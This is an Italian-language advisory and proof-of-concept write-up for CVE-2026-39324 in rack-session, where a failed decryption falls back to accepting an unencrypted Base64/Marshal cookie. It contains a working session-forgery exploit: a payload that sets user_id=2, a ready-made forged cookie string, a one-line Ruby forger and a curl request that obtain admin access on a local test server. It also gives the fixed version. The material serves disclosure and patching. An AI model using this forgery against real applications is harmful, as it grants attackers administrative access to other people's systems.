
Proof-of-concept exploit per l'elusione dell'autenticazione Rack::Cookie (CVE-2026-39324), che dimostra la falsificazione della sessione tramite coder di fallback per ottenere accesso amministrativo.
Il fallimento della decrittazione di Rack::Session::Cookie ripiega sull'accettazione di cookie non crittografati
| Advisory | GHSA-33qg-7wpp-89cq |
| Pacchetto | rack-session (RubyGems) |
| Versioni affette | <= 2.1.1 |
| Versione corretta | 2.1.2 |
Rack::Session::Cookie con secrets: dovrebbe accettare solo cookie crittografati. Ma quando la decrittazione fallisce, non rifiuta il cookie — ripiega sul coder predefinito Base64::Marshal.
Un attaccante può inviare un cookie Base64(Marshal.dump(...)) semplice e il server lo accetta come dati di sessione validi, senza conoscere alcun segreto.
rack-session <= 2.1.1Rack::Session::Cookie con opzione secrets:user_id, role, ecc.) per l'autorizzazioneNon affette:
secret: (singolare) — usa firma HMAC, percorso di codice diverso. Solo secrets: (plurale, modalità cookie crittografati) è vulnerabile.ActionDispatch::Session::CookieStore, implementazione separata.# lib/rack/session/cookie.rb
# Il coder di ripiego viene sempre creato, indipendentemente dalla configurazione secrets:
@coder = options[:coder] ||= Base64::Marshal.new
# Tenta di decrittare — tutti falliscono per un cookie non crittografato
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# BUG: non rifiuta, passa al coder non crittografato
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
Il fallimento della decrittazione sul percorso secrets: dovrebbe essere terminale. Invece passa il cookie a coder.decode(), quindi i cookie semplici vengono caricati come dati di sessione.
poc/
├── Gemfile rack-session 2.1.1
├── server.rb App Rack con configurazione secrets:
├── verify.rb Verifica di base (comportamento normale)
└── attack.rb Falsificazione di sessione (l'exploit)
cd poc
bundle install
ruby server.rb & # avvia il server vulnerabile
ruby verify.rb # conferma il comportamento normale
ruby attack.rb # falsifica il cookie → accesso admin
App Rack che usa secrets: per i cookie crittografati. Due utenti: id=1 (normale), id=2 (admin). Solo user_id è memorizzato nella sessione; il controllo admin è una ricerca lato server.
Conferma che il server funziona correttamente:
| Richiesta | Atteso |
|---|---|
GET /admin (nessun cookie) | 403 |
POST /login?id=1 | 200, cookie crittografato |
GET /admin (cookie utente id=1) | 403 |
Falsifica un cookie di sessione senza alcun segreto.
1) Falsifica il cookie:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) Flusso lato server quando riceve il cookie falsificato:
encryptor #1 decrypt → HMAC non valido
encryptor #2 decrypt → HMAC non valido
fallback → coder.decode() → Marshal.load → sessione dell'attaccante accettata
→ session["user_id"] = 2 → utente admin risolto → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Falsificazione di Sessione ---
Target: http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Errore encryptor cookie di sessione: HMAC non valido ← encryptor #1 fallito
Errore encryptor cookie di sessione: HMAC non valido ← encryptor #2 fallito, ma cookie non rifiutato
Status: 200
Body: {"status" => "ok", "message" => "pannello admin", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VULNERABILE — user_id=2 falsificato accettato, accesso admin concesso.
Entrambi i controlli HMAC falliscono, ma il cookie non viene rifiutato — il coder di ripiego lo accetta e l'attaccante ottiene l'accesso admin.
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session a >= 2.1.2